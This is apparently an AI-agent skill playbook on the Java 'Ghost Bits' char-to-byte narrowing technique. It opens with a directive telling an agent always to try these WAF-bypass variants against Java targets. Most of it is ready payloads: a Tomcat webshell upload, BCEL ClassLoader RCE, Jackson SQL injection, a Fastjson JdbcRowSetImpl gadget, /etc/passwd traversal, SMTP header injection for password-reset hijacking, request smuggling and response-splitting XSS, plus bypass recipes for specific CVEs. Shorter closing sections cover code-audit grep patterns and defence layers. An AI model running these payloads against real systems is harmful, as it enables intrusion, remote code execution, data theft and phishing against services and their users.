SKILL: Ghost Bits / Cast Attack — Java char to byte Narrowing Playbook

AI LOAD INSTRUCTION: This is a Java-only injection-enabling primitive, not a standalone vulnerability class. Whenever you see (1) a Java backend, (2) a WAF/IDS in front of it, and (3) any of {SQLi, deser RCE, file upload, path traversal, CRLF, request smuggling, SMTP injection} on the menu, ALWAYS try Ghost Bits variants of the payload before declaring it "blocked". The root cause is the silent loss of the high 8 bits when Java code narrows a 16-bit
char
to an 8-bit
byte
— the WAF sees a harmless Unicode character, the backend reconstructs the original ASCII attack byte. Base models almost never reach for this primitive.
Source: Black Hat Asia 2026 talk Cast Attack: A New Threat Posed by Ghost Bits in Java by Xinyu Bai (@b1u3r), Zhihui Chen (@1ue), with contributor Zongzheng Zheng (@chun_springX).

0. RELATED ROUTING

Ghost Bits is a bypass primitive that re-enables payloads from many other playbooks. Pair it with whichever attack family applies:

waf-bypass-techniques — when a Java backend is suspected and WAF rules block the literal payload, this is the first technique to try beyond classic encoding.
deserialization-insecure — for Apache Commons BCEL ClassLoader and Fastjson
```
\u
```
/
```
\x
```
escape variants.
path-traversal-lfi — Spring, Jetty, Undertow, Vert.x URL decoding and
```
%2>
```
hex folding.
upload-insecure-files — Tomcat
```
RFC2231Utility
```
```
filename*
```
Webshell upload.
request-smuggling — Apache HttpClient
```
<= 4.5.9
```
(HTTPCLIENT-1974/1978) header CRLF.
crlf-injection — Angus Mail / Jakarta Mail SMTP injection and JDK HttpServer response splitting.
sqli-sql-injection — Jackson
```
charToHex
```
table-lookup truncation hides SQL keywords inside Unicode escapes.

Advanced Reference

Load PAYLOAD_COOKBOOK.md when you need:

Full byte-to-Ghost-character lookup table covering every printable ASCII byte 0x20–0x7E and the most useful control bytes (0x00, 0x09, 0x0A, 0x0D).
Per-component affected version matrix and patch identifiers.
Yaklang and Python one-liner payload generators (for
```
poc.HTTP
```
,
```
codec.Encode
```
, raw socket).
"Multi-view normalization engine" pseudocode for blue-team WAF detection.

1. ONE-MINUTE MENTAL MODEL

Java's

char

is a 16-bit unsigned integer (UTF-16 code unit). Almost every wire protocol — HTTP/1.1, SMTP, Redis RESP, file paths, raw byte streams — is 8-bit byte oriented. The right way to bridge them is explicit charset encoding:

// Correct: explicit UTF-8, multi-byte chars become multi-byte sequences
byte[] bytes = str.getBytes(StandardCharsets.UTF_8);
out.write(bytes);

Tons of legacy code, framework internals, and "fast path" optimizations skip this and silently narrow:

// Dangerous: high 8 bits silently dropped
byte b = (byte) ch;          // 0x966A -> 0x6A
out.write(ch);               // ByteArrayOutputStream.write(int) keeps low 8 bits
dos.writeBytes(str);         // DataOutputStream loops char->byte cast
int v = ch & 0xFF;           // explicit low-byte mask

The lost high 8 bits are the Ghost Bits. They turn a multi-byte Unicode character into a single attacker-chosen ASCII byte at the protocol layer.

View A (string layer: WAF / business validation / logs)
  sees: 陪 阮 严 灵 瘍 瘊 ...   "harmless Unicode garbage, allow"
                  |
                  v       silent narrowing somewhere in the call stack
View B (byte layer: protocol / file system / parser / class loader)
  sees: j  .  %  u  \r \n ...  "executes the dangerous semantics"

The boundary is breached at the exact moment "view A" and "view B" disagree.

Mathematical formulation: to make View B see byte

, pick any

k in 0x01..0xFF

and use:

c = chr((k << 8) | T)

That gives you 255 candidate Unicode characters per dangerous byte — plenty of room to dodge any signature-based blacklist.

2. THREE ROOT-CAUSE FAMILIES

The Ghost Bits umbrella covers three distinct underlying bugs. Distinguishing them tells you both which payload shape to send and what to grep for in source.

Family A — Real high-bit truncation (classic Ghost Bits)

The narrowing is literal and unconditional.

java

// Pattern A1: explicit cast
byte b = (byte) ch;

// Pattern A2: bitwise mask
int v = ch & 0xFF;
int v = ch & 255;

// Pattern A3: OutputStream.write(int) keeps low 8 bits only
out.write(ch);
baos.write(ch);

// Pattern A4: DataOutputStream.writeBytes(String) iterates chars,
//             writing low byte of each
dos.writeBytes(str);

// Pattern A5: deprecated APIs that still exist in old code
String.getBytes(int srcBegin, int srcEnd, byte[] dst, int dstBegin);
new StringBufferInputStream(str);
raf.writeBytes(str);

Typical impact: Tomcat

filename*

, Apache BCEL ClassLoader, Lettuce Redis writer, SMTP CRLF in Angus Mail, HTTPCLIENT-1974 header injection.

Family B — Bit-arithmetic folding (illegal char becomes legal)

A "fast" hex / base64 / charset decoder uses bit tricks instead of strict range checks, so an illegal character collapses onto a legal one.

java

// Jetty TypeUtil.fromHexDigit (simplified)
private static int fromHexDigit(char c) {
    int x = c & 0x1F;          // keep low 5 bits
    x += (c >> 6) * 25;
    x -= 16;
    return x;                  // expected 0..15, but no range check
}

Worked example: feed

(0x3E):

0x3E & 0x1F = 0x1E = 30
(0x3E >> 6) * 25 = 0
30 + 0 - 16 = 14 = 0xE

%2>

is silently parsed as

%2E

. The same algebra makes

%2^

%2~

etc. equivalent to other hex digits.

Typical impact: Openfire CVE-2023-32315, GeoServer CVE-2024-36401, generic URL-decode WAF bypass.

Family C — Lax Unicode normalization

The decoder accepts Unicode characters that happen to be classified as "digit" or that map to a hex value via a

& 0xFF

lookup — even though they were never meant to participate in protocol parsing.

java

// Fastjson: too permissive
Character.digit(c, 16);   // accepts Thai, Punjabi, fullwidth digits

// Jackson: index by low 8 bits into an ASCII-only table
return sHexValues[ch & 0xff];

// Generic: fullwidth normalization
// '2' (U+FF12) -> '2', 'e' (U+FF45) -> 'e'

Typical impact: Fastjson

\u

and

\x

escape bypass, fullwidth URL-encoded path traversal, Jackson

charToHex

SQLi smuggling.

3. CHARACTER GENERATOR

Build any Ghost Bits character on the fly. This is the single function every agent should keep in mind:

python

# Python
def ghost(target_byte: int, k: int = 1) -> str:
    """Return a Unicode char whose low 8 bits equal target_byte."""
    return chr(((k & 0xFF) << 8) | (target_byte & 0xFF))

# 255 candidates per byte, e.g. for '.' (0x2E):
candidates = [ghost(0x2E, k) for k in range(1, 256)]
# 阮(U+962E), Ⱦ?-prefixed-..., etc.

yak

// Yaklang (for poc.HTTP / fuzz)
func ghost(targetByte, k) {
    return string(rune(((k & 0xFF) << 8) | (targetByte & 0xFF)))
}
ghostJ = ghost(0x6A, 0x96)   // returns "陪"

Selection guidance:

Avoid surrogate range
```
0xD800..0xDFFF
```
(high byte 0xD8..0xDF) — those are not valid scalar values and will be replaced by the JVM string decoder before reaching the narrowing site, defeating the bypass.
Prefer characters that survive the application's own charset round-trip (Latin-Extended, CJK Unified Ideographs, Enclosed CJK Letters and Months, Hangul). If the request body uses UTF-8, these all encode cleanly into multi-byte sequences that no WAF rule recognizes as
```
.
```
,
```
/
```
,
```
j
```
, etc.
Rotate
```
k
```
between requests so signature based learning cannot pin a single character to a single attack.

4. DANGEROUS-BYTE TO GHOST-CHARACTER MAP

Compact red-team weaponization table. For every byte the attacker actually needs, one verified Unicode char is given; substitute another

if the WAF later learns the example.

Target byte	Hex	Used for	Ghost char	Code point
`\t`	0x09	header folding, parser confusion	`ĉ`	U+0109
`\n`	0x0A	CRLF injection, log injection	`瘊`	U+760A
`\r`	0x0D	CRLF injection, request smuggling	`瘍`	U+760D
	0x20	header break, command separator	`Ġ`	U+0120
`"`	0x22	string break in JSON / quoted-printable	`Ģ`	U+0122
`%`	0x25	URL encoding prefix, second decode	`严`	U+4E25
`&`	0x26	parameter separator	`Ȧ`	U+0226
`'`	0x27	SQL string break	`ȧ`	U+0227
`(`	0x28	EL/SpEL/OGNL syntax	`Ȩ`	U+0228
`)`	0x29	EL/SpEL/OGNL syntax	`ȩ`	U+0229
`.`	0x2E	path traversal, extension	`阮`	U+962E
`/`	0x2F	path separator	`丯`	U+4E2F
`0`	0x30	hex digit construction	`丰`	U+4E30
`1`	0x31	hex digit construction	`失`	U+5931
`2`	0x32	hex digit construction	`甲`	U+7532
`3`	0x33	hex digit construction	`耳`	U+8033
`;`	0x3B	command separator, header continuation	`Ȼ`	U+023B
`<`	0x3C	XSS / XML tag start	`ȼ`	U+023C
`=`	0x3D	parameter / header value	`Ƚ`	U+023D
`>`	0x3E	XSS / XML tag end	`Ⱦ`	U+023E
`@`	0x40	Fastjson `@type` , mail address	`ŀ`	U+0140
`a`	0x61	keyword `class` , alphabet	`ᙡ`	U+1661
`c`	0x63	keyword `class` , `cmd`	`㹣`	U+3E63
`e`	0x65	hex digit	`来`	U+6765
`j`	0x6A	extension `.jsp`	`陪`	U+966A
`l`	0x6C	keyword `class` , `closure`	`౬`	U+0C6C
`n`	0x6E	keyword `Runtime` , `union`	`陮`	U+966E
`s`	0x73	keyword `class` , `select`	`⑳`	U+2473
`t`	0x74	keyword `Runtime` , `type`	`Ŵ`	U+0174
`u`	0x75	`\u` escape introducer	`灵`	U+7075

Workflow tip: keep the ASCII

Ŀ

ȧ

ȼ

, etc. variants for tight HTTP header contexts (one byte UTF-8 expansion stays smaller); use CJK like

阮

陪

严

when you want to bias the WAF "this is just text" classifier.

5. PER-COMPONENT PAYLOAD RECIPES

Every recipe shows the dual view: what the WAF inspects vs. what the backend actually executes. This is the only reliable way to explain why the payload goes through.

5.1 Tomcat

RFC2231Utility

— file upload Webshell (Family A)

Trigger: any endpoint that accepts multipart upload and Tomcat parses

Content-Disposition: ... filename*=UTF-8''...

. Tomcat's RFC2231 decoder casts each non-percent character directly to byte, dropping the high 8 bits.

Payload:

Content-Disposition: attachment; filename*=UTF-8''1.陪sp

Stage	Filename it sees
WAF / extension filter	`1.陪sp` (not `.jsp` , allow)
Tomcat RFC2231 decoder	`陪` -> low byte 0x6A -> `j`
File system	`1.jsp`

Combine with traversal characters from section 4 (

阮

丯

) when the upload target directory is fixed but the application accepts a

filename*

5.2 Apache Commons BCEL — ClassLoader RCE (Family A)

Trigger: any sink that resolves a class name through

BCEL

(

$$BCEL$$...

) or any code that decodes BCEL via the

JavaReader

ByteArrayOutputStream

loop.

Vulnerable shape:

java

ByteArrayOutputStream bos = new ByteArrayOutputStream();
JavaReader jr = new JavaReader(new CharArrayReader(userChars));
while ((ch = jr.read()) >= 0) {
    bos.write(ch);     // low 8 bits only
}

Attack: wrap each byte of the malicious BCEL bytecode into a Unicode character whose low 8 bits equal that byte. The decoded byte stream is a valid BCEL class; the WAF sees a long blob of CJK text without

$$BCEL$$

keywords or class signatures.

View	Content
WAF	`$$BCEL$$` followed by random looking CJK
BCEL	standard BCEL class file bytes → JVM defineClass → RCE

Defense for blue team: a WAF inspecting BCEL must replicate the

bos.write(ch)

semantics on each character before pattern matching.

5.3 Jackson

charToHex

— SQLi smuggling (Family C)

Trigger: any Jackson-parsed JSON field whose value is later embedded in SQL or another parser. Jackson resolves

\uXXXX

digits via:

java

private static final int[] sHexValues = new int[128];
public static int charToHex(int ch) {
    return sHexValues[ch & 0xFF];   // mask first, lookup second
}

Any non-ASCII character whose low 8 bits land on a populated index returns that hex digit. The WAF sees gibberish; Jackson reconstructs an ASCII payload.

Payload (smuggle the digit

for a UNION column count):

json

{"q": "\u丰丰耳失 union select 1,2,3 -- "}

View	Content
WAF	`\u丰丰耳失 union select ...` (no leading digit)
Jackson	`\u0031 union select 1,2,3--` -> `1 union select…`

Pair with sqli-sql-injection for the downstream UNION / boolean / time-based payload templates.

5.4 Fastjson —

\u

and

\x

escape bypass (Families B + C)

Two independent surfaces:

(a)

\u

escape —

Character.digit(c, 16)

accepts Unicode digit categories beyond ASCII (Thai

๐-๙

U+0E50..U+0E59, Punjabi

੦-੯

U+0A66..U+0A6F, fullwidth

０-９

U+FF10..U+FF19).

json

{"\u４_type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://x"}

WAF view:

\u４_type

(no

@type

literal). Fastjson normalizes fullwidth

４

, then handles

via the

\x

shortcut below, yielding

@type

(b)

\x

escape — Fastjson computes

digits[x1] * 16 + digits[x2]

. An illegal hex character returns the default value 0.

\x4_   ->   '4'(=4) * 16 + '_'(=0) = 0x40 = '@'

json

{"\x4_type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://x"}

View	Field name
WAF	`\x4_type` (not `@type` )
Fastjson	`@type` -> JdbcRowSetImpl autotype gadget triggers

5.5 Spring / Jetty / Undertow / Vert.x — URL decoding (Families A + B)

Two combinable tricks:

Trick 1 — Family A character substitution in path or query:

/api/v1/data?file=阮丯阮丯etc丯passwd
                = ../../etc/passwd at the byte layer

Trick 2 — Family B

%2>

folding when Jetty's

TypeUtil.fromHexDigit

is in the chain:

/setup/setup-s/%2>%2>/log.jsp
                = /setup/setup-s/../log.jsp after decode

Either alone bypasses most signature WAFs; combined they survive even "normalized then matched" rules that only see ASCII percent triplets.

Spring CVE-2025-41242 chain (

StringUtils.uriDecode

patched in PR #34673):

input :  阮严灵丰丰甲来
       (.)(%)(u)(0)(0)(2)(e)
narrow:  .%u002e
decode:  ..
result:  arbitrary file read via path traversal

Stage	Path
Spring `isInvalidPath()`	`.%u002e` — no literal `..` , allow
Backend file resolution	`..` after `%u002e` decode → traversal

5.6 Angus Mail / Jakarta Mail — SMTP injection (Family A)

Trigger: any application that builds SMTP envelopes or headers from user-controlled strings. Internal

ASCIIUtility

does:

java

byte b = (byte) ch;           // 16-bit char silently narrowed

Smuggle CRLF as

瘍瘊

hacker@evil.com瘍瘊Subject: Password reset code瘍瘊To: target@victim.com瘍瘊瘍瘊Your code is 1234

View	What it parses
Application validation	a single `From` value containing odd CJK
SMTP server	five separate header lines + body, fully spoofed

Real impact pattern: Jira-style (CVE-2025-57733) password-reset hijacking, Confluence domain allowlist bypass — pair with crlf-injection for non-mail CRLF reuse.

5.7 Apache HttpClient

<= 4.5.9

— request smuggling (Family A)

HTTPCLIENT-1974 / HTTPCLIENT-1978: header values pass through

OutputStreamWriter

plus a narrow-cast write that emits raw

\r\n

for

\u760D\u760A

X-Auth-Token: 1瘍瘊POST /admin HTTP/1.1\r\nHost: internal\r\nContent-Length: 0\r\n\r\nGET /public HTTP/1.1

Hop	Sees
Front proxy / WAF	one request with a long `X-Auth-Token`
Origin	two requests; the second is an admin POST

Cross-reference request-smuggling for chosen-prefix attacks once the desync is confirmed.

5.8 JDK HttpServer — response splitting (CVE-2026-21933, Family A)

Reflection of user input into a response header passes through

com.sun.net.httpserver

writers that low-byte-cast each char.

Payload (URL parameter or upstream header):

Custom: Cu瘍瘊Content-Type: text/html瘍瘊Content-Length: 33瘍瘊瘍瘊<script>alert(1)</script>

Server emits two logical responses; the second carries an attacker-chosen body. Escalates to stored XSS, cache poisoning, and SSO redirect chains.

5.9 Other affected components

Same Family A primitive, different sink:

Lettuce (Redis client) — command injection by smuggling
```
\r\n
```
into RESP frames; chain to arbitrary
```
CONFIG SET dir
```
+
```
SAVE
```
for SSRF-to-RCE.
Jodd
FileNameUtil
— path traversal via
```
阮
```
and
```
丯
```
because its internal write loop narrows.
XMLWriter — tag-name injection when an attribute or text node value is pushed through a low-byte writer; XXE / XSS pivot.
ActiveJ HTTP — CRLF injection identical in shape to 5.7 / 5.8.
Vert.x HTTP body parser — Family A in
```
MultipartParser
```
.

See PAYLOAD_COOKBOOK.md for affected-version matrix and full per-component payload skeletons.

6. KNOWN-CVE BYPASS RECIPES

Use these exactly when the corresponding CVE is patched but a WAF still fronts the service. Each Payload below shifts the original ASCII attack into a form that survives string-based WAF rules.

Openfire CVE-2023-32315 — auth bypass (Family B)

Original public bypass:

GET /setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp

Ghost Bits /

%2>

folding bypass (much harder to signature):

GET /setup/setup-s/%2>%2>/%2>%2>/log.jsp

Each

%2>

collapses through Jetty's lax hex into

%2E

, yielding the same

../../

traversal without ever emitting

..

%2e

to the WAF.

GeoServer CVE-2024-36401 — RCE via

Runtime

keyword (Family B)

Public WAF rules typically block

Runtime

. Inject one folded character:

Ru%6>time

Decoder math:

%6>

%6E

. The expression evaluator now sees

Runtime

, the WAF never did.

Spring4Shell CVE-2022-22965 — class loader chain (Family A)

Required parameter prefix

class.module.classLoader...

. WAFs block the literal

class

. Substitute via low-byte chars:

Content-Disposition: form-data; name*="㹣౬ᙡ⑳⑳.module.classLoader.resources..."

Component	Char	Code point	Low byte
`c`	`㹣`	U+3E63	0x63
`l`	`౬`	U+0C6C	0x6C
`a`	`ᙡ`	U+1661	0x61
`s`	`⑳`	U+2473	0x73
`s`	`⑳`	U+2473	0x73

Springs's parameter-name resolver narrows back to

class

Spring CVE-2025-41242 — arbitrary file read (Family A + Family B mix)

Already demonstrated in 5.5 above. Payload

阮严灵丰丰甲来

.%u002e

..

after decode-after-validation.

Jakarta Mail CVE-2025-57733 — Jira-style mail hijack (Family A)

to=victim@org.com瘍瘊Subject: Reset code瘍瘊To: attacker@evil.com瘍瘊瘍瘊Your code is 1234

The mail leaves the company SMTP server with valid SPF / DKIM / DMARC, but its

To:

and

Subject:

are attacker-chosen — high-fidelity phishing.

7. DETECTION DECISION TREE

Use this when triaging a target. The point is to avoid Ghost Bits when it cannot help and to always try it when the preconditions hold.

Is the backend Java? (Server header, error page, JSESSIONID, .do/.action,
                      WebGoat-style stack trace, X-Powered-By, X-Frame-Options
                      with Tomcat default values)
├── No  -> stop, Ghost Bits does not apply
└── Yes
    │
    ├── Is there a WAF / IDS or input filter blocking your literal payload?
    │   ├── No  -> use the literal payload; Ghost Bits is overkill
    │   └── Yes -> continue
    │
    ├── Which sink are you targeting?
    │   ├── File upload via multipart  -> recipe 5.1 (Tomcat filename*)
    │   ├── JSON deserialization       -> recipes 5.3 (Jackson) / 5.4 (Fastjson)
    │   ├── Class loader / BCEL ref    -> recipe 5.2
    │   ├── URL path / parameter       -> recipe 5.5 + Family B `%2>`
    │   ├── Header reflection          -> recipes 5.7 / 5.8
    │   ├── Mail send                  -> recipe 5.6
    │   └── Redis / RESP / XML / RPC   -> recipe 5.9
    │
    ├── Probe with a single non-destructive substitution first
    │   (replace ONE character with its Ghost variant; observe response
    │    diff: status code, length, header echo, error message, time)
    │
    └── If observable difference appears -> escalate by substituting all
                                            blocked characters and chain
                                            through the linked playbook.

8. SAST / CODE-AUDIT SIGNATURES

Three priority tiers when reviewing Java source. Search across all your project repos, all dependencies you can shade, and the

lib/

of any deployed appliance.

Tier 1 — direct narrowing (Family A)

\(byte\)\s*\w+
&\s*0[xX][fF][fF]
&\s*255
\.write\(\s*[a-zA-Z_]\w*\s*\)         # OutputStream.write(int)
writeBytes\s*\(
StringBufferInputStream
String\.getBytes\s*\(\s*int
RandomAccessFile.*writeBytes

Tier 2 — lax hex / digit decoding (Families B + C)

Character\.digit\s*\(
fromHexDigit
convertHexDigit
fromHex\s*\(
uriDecode
URLDecoder\.decode
sHexValues\[
& 0x1F\)\s*\+\s*\(.*>>.*\) \* 25

Tier 3 — high-risk wrappers and reachability

RFC2231                # Tomcat / mail filename* parsing
JavaReader             # BCEL ClassLoader reachable
ASCIIUtility           # Jakarta Mail / Angus Mail
LineParser             # HttpClient header parser
ChunkedDecoder         # request smuggling adjacent
charToHex              # Jackson
encodeUTF8             # candidate for char->byte writer

Per-finding triage applies the five-dimension risk model:

Dimension	Higher risk if
Input control	HTTP param, header, filename, JSON key, mail address
Validation	a deny/allow list runs before the narrowing site
Narrowing time	conversion happens after security check
Syntax target	result enters URL / SMTP / HTTP / Redis / file system / SQL grammar
Re-decoding	Base64, URL-decode, JSON unescape, `%u` , etc. happen later

Risk formula:

attacker-controlled  +  check-before-narrow  +  result-in-protocol-syntax
                                              +  later-redecoding
                              = HIGH SEVERITY

9. DIFFERENTIAL TESTING WORKFLOW

A reproducible, black-box procedure to find new Ghost Bits sinks (red team) or to validate a fix (blue team).

1. Pick one dangerous byte T at a time (e.g. 0x2E for '.').

2. Generate the candidate set:
       C = { chr((k << 8) | T) for k in 1..255 }
   Drop surrogates 0xD8XX..0xDFXX.

3. For each candidate c in C:
       a. Send a benign request with c at the chosen position.
       b. Send the same request with literal T at the same position.
       c. Compare four observables:
            - status code
            - response body length
            - response body content hash (or diff)
            - server-side log line (if available)

4. If any candidate produces a response equivalent to T but differs from a
   "neutral" character (e.g. 'X'), you have found a narrowing sink.

5. Repeat for the next T in your priority list:
       0x2E ('.'), 0x2F ('/'), 0x25 ('%'), 0x40 ('@'),
       0x0D ('\r'), 0x0A ('\n'), 0x6A ('j'), 0x73 ('s'),
       0x6C ('l'), 0x61 ('a'), 0x63 ('c'), 0x22 ('"'), 0x27 (''')

6. Cluster sinks by component (response Server header, error stack) — one
   sink usually implies the whole framework version is vulnerable.

This workflow is intentionally protocol-agnostic; the same loop works on a file uploader, a search endpoint, a mail composer, or a Redis-backed cache.

10. DEFENSE AWARENESS

Five layers, all needed; any single one is bypassable in isolation.

Layer	Action
Source code	Ban hand-written `(byte) ch` , `& 0xFF` , `out.write(ch)` , `writeBytes` . Use `getBytes(StandardCharsets.UTF_8)` or strict ASCII allowlist for protocol fields.
Decoder	Reject illegal input. Never default-fold an unknown hex / Unicode digit / Base64 character to 0 or to its low 8 bits.
Validation order	Always normalize first, then validate. Specifically: strict decode → Unicode NFC/NFKC → protocol normalize (URL `..` resolution, `File.getCanonicalPath` ) → security check → execute.
Protocol field	Use strict allowlists per field (HTTP header value, SMTP envelope, URL path, filename, JSON key, XML tag). Reject CR/LF in any header or address.
WAF / IDS	Run a multi-view normalizer. Always inspect the original string AND the `(char) & 0xFF` view AND the URL-decoded view AND the Unicode-NFKC view. Alert when any view contains a dangerous semantic the original lacked.

Blue-team smell tests:

Logs contain CJK / Latin-Extended characters at positions where the protocol grammar expects ASCII (filename, header value, mail address).
The HEX dump of a request contains bytes outside
```
0x20..0x7E
```
adjacent to protocol delimiters.
A pen-test or scanner reports a "weird 200" that the security monitoring did not flag — Ghost Bits is the most common 2025-2026 cause for that pattern in Java stacks.

11. QUICK REFERENCE — KEY PAYLOADS

text

# Ghost char generator
ghost(T, k) = chr(((k & 0xFF) << 8) | (T & 0xFF))     # avoid k in 0xD8..0xDF

# Tomcat filename* webshell upload
Content-Disposition: attachment; filename*="UTF-8''shell.陪sp"     # → shell.jsp

# BCEL ClassLoader bypass (concept)
$$BCEL$$<each-byte-of-class-file-wrapped-in-a-Unicode-char>

# Jackson SQLi smuggling
{"q":"\u丰丰耳失 union select 1,2,3-- "}                          # → "1 union select…"

# Fastjson @type smuggling
{"\x4_type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x"}

# Spring URL decode + Jetty %2> folding
GET /api/data?file=阮丯阮丯etc丯passwd
GET /setup/setup-s/%2>%2>/log.jsp
GET /api?cmd=Ru%6>time

# Spring4Shell name* class smuggling
Content-Disposition: form-data; name*="㹣౬ᙡ⑳⑳.module.classLoader..."

# Spring CVE-2025-41242 path read
GET /resources/阮严灵丰丰甲来/secret.properties                    # → ../%u002e

# Angus Mail / Jira mail hijack
From: hacker@evil.com瘍瘊Subject: Reset瘍瘊To: victim@org.com瘍瘊瘍瘊Your code is 1234

# Apache HttpClient ≤4.5.9 smuggling
X-Auth-Token: 1瘍瘊POST /admin HTTP/1.1\r\nHost: internal\r\nContent-Length: 0\r\n\r\nGET /public HTTP/1.1

# JDK HttpServer response splitting (CVE-2026-21933)
?ref=Cu瘍瘊Content-Type:text/html瘍瘊Content-Length:33瘍瘊瘍瘊<script>alert(1)</script>

# SAST first-pass grep
grep -RnE '\(byte\)\s*\w+|& 0[xX][fF][fF]|writeBytes|baos\.write\(\w+\)' src/
grep -RnE 'Character\.digit|fromHexDigit|charToHex|uriDecode' src/

REFERENCES

Black Hat Asia 2026 — Cast Attack: A New Threat Posed by Ghost Bits in Java. Speakers: Xinyu Bai (@b1u3r / @iSafeBlue), Zhihui Chen (@1ue). Contributor: Zongzheng Zheng (@chun_springX).
Real-world CVEs re-enabled: GeoServer CVE-2024-36401, Spring4Shell CVE-2022-22965, Openfire CVE-2023-32315, Spring CVE-2025-41242, Jakarta Mail CVE-2025-57733, JDK HttpServer CVE-2026-21933, Apache HttpClient HTTPCLIENT-1974 / HTTPCLIENT-1978.
Patched components to upgrade past: Apache Commons BCEL >= 6.12.0, Fastjson 2.x latest, Apache HttpClient >= 4.5.10 (or migrate to 5.x), GeoServer >= 2.28.3, Openfire >= 5.0.4. Confirm vendor advisories before relying on any single version number.

ghost-bits-cast-attack

NPX Install

Tags

SKILL.md Content

SKILL: Ghost Bits / Cast Attack — Java char to byte Narrowing Playbook

0. RELATED ROUTING

Advanced Reference

1. ONE-MINUTE MENTAL MODEL

2. THREE ROOT-CAUSE FAMILIES

Family A — Real high-bit truncation (classic Ghost Bits)

Family B — Bit-arithmetic folding (illegal char becomes legal)

Family C — Lax Unicode normalization

3. CHARACTER GENERATOR

4. DANGEROUS-BYTE TO GHOST-CHARACTER MAP

5. PER-COMPONENT PAYLOAD RECIPES

5.1 Tomcat
`RFC2231Utility`
— file upload Webshell (Family A)

5.2 Apache Commons BCEL — ClassLoader RCE (Family A)

5.3 Jackson
`charToHex`
— SQLi smuggling (Family C)

5.4 Fastjson —
`\u`
and
`\x`
escape bypass (Families B + C)

5.5 Spring / Jetty / Undertow / Vert.x — URL decoding (Families A + B)

5.6 Angus Mail / Jakarta Mail — SMTP injection (Family A)

5.7 Apache HttpClient
`<= 4.5.9`
— request smuggling (Family A)

5.8 JDK HttpServer — response splitting (CVE-2026-21933, Family A)

5.9 Other affected components

6. KNOWN-CVE BYPASS RECIPES

Openfire CVE-2023-32315 — auth bypass (Family B)

GeoServer CVE-2024-36401 — RCE via
`Runtime`
keyword (Family B)

Spring4Shell CVE-2022-22965 — class loader chain (Family A)

Spring CVE-2025-41242 — arbitrary file read (Family A + Family B mix)

Jakarta Mail CVE-2025-57733 — Jira-style mail hijack (Family A)

7. DETECTION DECISION TREE

8. SAST / CODE-AUDIT SIGNATURES

Tier 1 — direct narrowing (Family A)

Tier 2 — lax hex / digit decoding (Families B + C)

Tier 3 — high-risk wrappers and reachability

9. DIFFERENTIAL TESTING WORKFLOW

10. DEFENSE AWARENESS

11. QUICK REFERENCE — KEY PAYLOADS

REFERENCES